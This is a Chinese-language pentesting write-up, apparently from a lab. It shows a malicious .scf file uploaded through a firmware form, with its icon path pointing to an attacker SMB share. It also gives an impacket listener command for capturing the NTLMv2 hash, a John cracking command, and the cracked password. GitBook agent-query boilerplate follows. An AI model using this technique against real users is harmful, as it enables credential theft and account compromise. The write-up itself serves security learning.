> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# 文件上传并捕获 NTLMv2 .scf

<figure><img src="/files/d339726a933be6c816155c9278a59ad88955be44" alt=""><figcaption></figcaption></figure>

该站点提供上传固件的选项。消息显示：

> 选择打印机型号，并从我们的文件共享中下载与之匹配的固件更新。我们的 IT 团队将手动审查上传内容，并很快开始测试。

<figure><img src="/files/4e68564fbf6911f1801b2df3e42c51e0604445cc" alt=""><figcaption></figcaption></figure>

## 利用——恶意 SCF 文件：

恶意文件的创建 `.scf` 在用户打开它时捕获其 NTLMv2：

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

使用以下命令启动监听器 **impacket** 以捕获 NTLMv2：

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

捕获用户的 NTLMv2 哈希 `tony`.

<figure><img src="/files/3998bb0e94fd1808e2b6b2dfc2c446d1359df92c" alt=""><figcaption></figcaption></figure>

使用以下方式破解 NTLM 哈希 **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/d0cbcbfa56363299f699f72bf4cbbeb4f3cf7bdd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
